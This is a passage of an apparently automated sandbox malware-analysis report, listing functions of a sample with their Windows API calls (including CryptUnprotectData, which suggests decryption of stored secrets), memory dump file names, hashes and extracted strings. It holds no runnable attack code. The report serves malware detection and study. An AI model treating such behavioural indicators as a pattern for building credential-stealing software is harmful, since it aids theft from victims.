Instruction Fuzzy Hash: AA11E274200309BFDB04CFA4E889FAB37AEAF89714F109558F9198B250DB76ED41DB60

Function 00129AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00124EEE,00000000,00000000), ref: 00129AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00124EEE,00000000,?), ref: 00129B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00124EEE,00000000,00000000), ref: 00129B2A
LocalFree.KERNEL32(?,?,?,?,00124EEE,00000000,?), ref: 00129B3F

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 31e1e5215006a41b034c6a192635eb2be9acf8aa2e31febbe45b411cdda9331c
Instruction ID: 67ed3dafb67d0a7fedddcb1e82be47ae590effd6e0680059dc5d6bfbb7d2511b
Opcode Fuzzy Hash: 31e1e5215006a41b034c6a192635eb2be9acf8aa2e31febbe45b411cdda9331c
Instruction Fuzzy Hash: 1111A4B4240208AFEB11CF64DC95FAA77B9FB89700F208058F9159B390C7B5A901DB90

Function 00137A30 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00FFE620,00000000,?,00140E10,00000000,?,00000000,00000000), ref: 00137A63
RtlAllocateHeap.NTDLL(00000000), ref: 00137A6A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00FFE620,00000000,?,00140E10,00000000,?,00000000,00000000,?), ref: 00137A7D
wsprintfA.USER32 ref: 00137AB7

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 07dbd31f6fe09f204cf9fabaa7cb539cf27b7649d478801fb2e43ac2c60c1f38
Instruction ID: fc0b8ddb439fc33d1b45ecd01425a5b76859a9b5b7cb31ea09802831848f10bc
Opcode Fuzzy Hash: 07dbd31f6fe09f204cf9fabaa7cb539cf27b7649d478801fb2e43ac2c60c1f38
Instruction Fuzzy Hash: 8A118EB1945618EBEB208B54DC49FA9BBB8FB04721F10479AE90AA32C0C7741A40CF51

Function 004E3EDF Relevance: 5.9, Strings: 4, Instructions: 931COMMON

Download Yara Rule

Strings

B_w, xrefs: 004E45BF
u%>I, xrefs: 004E43BF
`bw{, xrefs: 004E3FDE
q+,, xrefs: 004E4095

Memory Dump Source

Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: B_w$`bw{$q+,$u%>I
API String ID: 0-1763919940
Opcode ID: b14f048a9064c45e76387ea2ee3b44a033d2bc9f94c8e1d01dd941dc2fcd3838
Instruction ID: c35c07104c3b618c672736fcf21167e2582b1d968f1678ee3491be6f935f9edd
Opcode Fuzzy Hash: b14f048a9064c45e76387ea2ee3b44a033d2bc9f94c8e1d01dd941dc2fcd3838
Instruction Fuzzy Hash: CF52F8F360C2049FE704AE2DEC8567AB7E9EB94320F168A3DE6C5C3744E63598058697

Function 004EBB7A Relevance: 5.4, Strings: 3, Instructions: 1657COMMON

Download Yara Rule

Strings

1&:/, xrefs: 004EC7DE
Q{_, xrefs: 004EC1C2
t49}, xrefs: 004EC62C

Memory Dump Source

Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1&:/$Q{_$t49}
API String ID: 0-3721954467
Opcode ID: c8649177da497b9ff7bda3921e868ad952610abb6b5eae5ad9ac3f78659d95cc
Instruction ID: e6f4996abb6025ec58a3d5fe511eb3658fbcebebd60443b5f4271dd5a5095718
Opcode Fuzzy Hash: c8649177da497b9ff7bda3921e868ad952610abb6b5eae5ad9ac3f78659d95cc
Instruction Fuzzy Hash: 2BB22AF3A082049FE304AE2DEC8567ABBE6EFD4720F1A453DE6C4C7744EA3558058697

Function 004F0D0D Relevance: 5.4, Strings: 3, Instructions: 1634COMMON

Download Yara Rule

Strings

2*O, xrefs: 004F1E6F
~p., xrefs: 004F1F54
E>}D, xrefs: 004F1575

Memory Dump Source

Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2*O$E>}D$~p.
API String ID: 0-1836780756
Opcode ID: 664d2ae31339c961b8e9fe6ae22e13743eca4a7c2aafda7c3c4e096c038e020f
Instruction ID: eedba23a93f1d87ddc373040d7a5c8dc183887d5fb6451470e05f3b3785af908
Opcode Fuzzy Hash: 664d2ae31339c961b8e9fe6ae22e13743eca4a7c2aafda7c3c4e096c038e020f
Instruction Fuzzy Hash: 37B2D5F360C210AFE3146E29EC8567ABBE9EF94720F1A493DE6C4C3744EA3548458797

Function 004E50AC Relevance: 5.4, Strings: 3, Instructions: 1609COMMON

Download Yara Rule

Strings

U\?], xrefs: 004E5C1E
zWW, xrefs: 004E6419
;zN, xrefs: 004E5873

Memory Dump Source

Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: U\?]$zWW$;zN
API String ID: 0-2559165817
Opcode ID: 178a90f82a3d6145a6ca01c774146b21f4e1599e3a6db518bd1e3fc34e7a6e7a
Instruction ID: 9819c0a73aafeab96a336697606d16a3de4457a6a62f2d93551bc9ddac856d1b
Opcode Fuzzy Hash: 178a90f82a3d6145a6ca01c774146b21f4e1599e3a6db518bd1e3fc34e7a6e7a
Instruction Fuzzy Hash: 77B23AF3A082149FE3046E2DEC8567AFBE9EFD4320F1A853EEAC4D3744E53558058696

Function 004FB047 Relevance: 5.1, Strings: 3, Instructions: 1314COMMON

Download Yara Rule

Strings

_Zk, xrefs: 004FB64C
rez, xrefs: 004FB940
%[u, xrefs: 004FB11E

Memory Dump Source

Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: _Zk$rez$%[u
API String ID: 0-431288570
Opcode ID: e61b88d9041dc11153ea2ff9407be1dce59acfb1a474f1c8d0da78c16f563ae4
Instruction ID: a5e73983989669365d263a8c8f5af4b378cb97a97e7432f57341b7a64fcad66f
Opcode Fuzzy Hash: e61b88d9041dc11153ea2ff9407be1dce59acfb1a474f1c8d0da78c16f563ae4
Instruction Fuzzy Hash: 489239F3A086049FE304AE2DDC8567AFBE5EF94720F1A893DEAC4C7744E63558058693

Function 00133720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0013E118,00000000,00000001,0013E108,00000000), ref: 00133758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 001337B0

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 07454e2132b0b92d1914b5b57545cdca4c3ee7b922c021d05b06dd4b5292ff45
Instruction ID: e1f689fa069158809c4d53d1e8600c956cc7fc5397f1e1b0ea5e8f3b9c9138ab
Opcode Fuzzy Hash: 07454e2132b0b92d1914b5b57545cdca4c3ee7b922c021d05b06dd4b5292ff45
Instruction Fuzzy Hash: F741C970A40A189FDB24DB58CC95F9BB7B5BB48702F4082D8E619A72D0D7B16E85CF50

Function 00129B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00129B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00129BA3
LocalFree.KERNEL32(?), ref: 00129BD3

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 272ad570dfece7388f6084ac7dfa5034ecbaf6b4a45aefbf29492b65d201aa03
Instruction ID: b4ae5f285e26388bbacfa44371ec4b899352170e24847bdcc93d557e4e65b866
Opcode Fuzzy Hash: 272ad570dfece7388f6084ac7dfa5034ecbaf6b4a45aefbf29492b65d201aa03
Instruction Fuzzy Hash: 4C11BAB8A00209DFDB05DF98D989EAE77B9FF88300F104558E915A7350D774AE10CFA1

Function 004F4DA8 Relevance: 4.5, Strings: 3, Instructions: 721COMMON

Download Yara Rule

Strings

'|, xrefs: 004F52BC
P8BJ, xrefs: 004F4F64
W@xi, xrefs: 004F4FD3

Memory Dump Source

Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: P8BJ$W@xi$'|
API String ID: 0-522130173
Opcode ID: cbb6557f282ab2afd1e003b23ee59edd906bcf8b79764081b6735c607afb5c88
Instruction ID: 231d762a7cd3bce7164dd472397dde4218fd157b4e3b6947c7183fe54e4d889b
Opcode Fuzzy Hash: cbb6557f282ab2afd1e003b23ee59edd906bcf8b79764081b6735c607afb5c88
Instruction Fuzzy Hash: 2F220AF360C2049FE704AE29EC4577ABBE6EBD4320F168A3DE6C4C7744E63598058697

Function 004E85BE Relevance: 4.1, Strings: 2, Instructions: 1578COMMON

Download Yara Rule

Strings

_FZ&, xrefs: 004E8A31
t^}?, xrefs: 004E9880

Memory Dump Source

Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: _FZ&$t^}?
API String ID: 0-1753847426
Opcode ID: 71554f8134de3ab14d6fb37f8e590b908f1d3c62a9ec63d5b1b3f6dbbb2c8455
Instruction ID: 115cb71315a0e1a78419d5b1120d3f4d8a2be08f00f87f5dab3570a6655d1adb
Opcode Fuzzy Hash: 71554f8134de3ab14d6fb37f8e590b908f1d3c62a9ec63d5b1b3f6dbbb2c8455
Instruction Fuzzy Hash: F2B2F7F3A082009FD3146E2DDC8577AFBE9EF94720F1A4A2DEAC4C7744E63558058697

Function 003A71F3 Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

d=/G, xrefs: 003A7272
Uo@_, xrefs: 003A733B

Memory Dump Source

Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Uo@_$d=/G
API String ID: 0-952508118
Opcode ID: b4ba13db02caf53e63d8efff6033a8893e6982749840d035e2baba7360fef18e
Instruction ID: 11ac09b6bb758cfe8c6cbfde192feabcb4f61fda436f5462e0449ae0940a343e
Opcode Fuzzy Hash: b4ba13db02caf53e63d8efff6033a8893e6982749840d035e2baba7360fef18e
Instruction Fuzzy Hash: 9D51E7F3F041005FF3049A2DDC8576AB7E6EBD4320F1A863DEA98D3788E9399D054296

Function 004053A8 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

0R9{, xrefs: 004053E1

Memory Dump Source

Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

